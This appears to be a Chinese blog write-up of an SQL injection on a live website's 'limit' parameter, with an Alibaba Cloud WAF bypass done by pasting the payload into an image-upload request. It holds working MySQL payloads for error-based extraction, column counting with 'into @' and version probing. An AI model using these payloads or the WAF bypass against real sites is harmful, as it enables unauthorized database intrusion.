天天看点

绕过阿里云waf进行mysql limit注入证明

    朋友发了我一个站点,来看看吧,是limit注入,不太常见。搞一搞吧。

    

POST /Member/CompanyApply/lists HTTP/1.1
Host: *
Content-Length: 57
Accept: application/json, text/javascript, */*; q=0.01
Origin: *
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: *
Accept-Language: zh-CN,zh;q=0.8
Cookie: *
Connection: close

type=1&status=&search_val=&start_date=&end_date=&limit=1      

 存在问题参数:limit,看到这个我就想到limit注入。就怕是幌子

  再次尝试输入limit=1和limit=2,2中成功返回了1的所有信息

  ok!尝试limit注入,limit注入不太常见,手法挺少的,尝试:

  limit=1 procedure analyse(1,extractvalue(rand(),concat(0x3a,version())));

  

绕过阿里云waf进行mysql limit注入证明

貌似有waf。。看来是阿里云。。

  我们知道limit注入只能用procedure analyse进行报错注入,可以说是很鸡肋了。

  还有waf。

  先绕waf吧

  首先修改数据包头: 

  发现还是405 

绕过阿里云waf进行mysql limit注入证明

继续尝试绕过:

  思路:找一个上传图片包 :

 

绕过阿里云waf进行mysql limit注入证明

复制粘贴到存在sql注入的数据包中:

绕过阿里云waf进行mysql limit注入证明

如果sql语句是union select x from y limit x未使用order by,我们可以使用union select进行注入探测:

使用1 union select 1

绕过阿里云waf进行mysql limit注入证明

发现有order by。。。。只能用那两个函数了。。

参考文章:http://www.vuln.cn/8101

这里踩了不少坑,一直在纠结为啥出不了数据,后来才知道,mysql版本>5.6.6

  这里的问题是很有可能是mysql>5.6

  那么还如何证明注入呢?

   使用into

  limit注入本地测试:

  union select x from y order by x limit x (x=limit参数)

  union select x from y order by x limit 1,x (x=limit参数)

  只有这两种可能了。

  因为版本大于5.6.6只能使用另类方法证明是否是sql注入了:

  先本地测试下:

  查询表,发现是两列数据,id和name字段 

绕过阿里云waf进行mysql limit注入证明

  平常我们探测列数都是order by,其实我们还可以:

  使用into @

  在limit下利用:

绕过阿里云waf进行mysql limit注入证明

会提示列不同:

绕过阿里云waf进行mysql limit注入证明

出现了不一样的提示,所以我们的列是2列

  如果我们再次加一个@

绕过阿里云waf进行mysql limit注入证明

  就会提示不同列。  

  实战测试:

  正确的列数:

绕过阿里云waf进行mysql limit注入证明

不正确的列数返回如下:

绕过阿里云waf进行mysql limit注入证明

至此我们可以证明出这是个sql注入。最后列数是9

  mysql版本号大于5.6.6这是怎么证明的呢?

  1/*!50666aaaa*/报错说明版本号>5.6.66 

绕过阿里云waf进行mysql limit注入证明

 输入

绕过阿里云waf进行mysql limit注入证明

出现错误,输入1/*!50721aaaa*/ 

不再报错

绕过阿里云waf进行mysql limit注入证明

说明 版本号应该是5.7.21

  此次注入经历让我学到了很多,还得多多努力!

继续阅读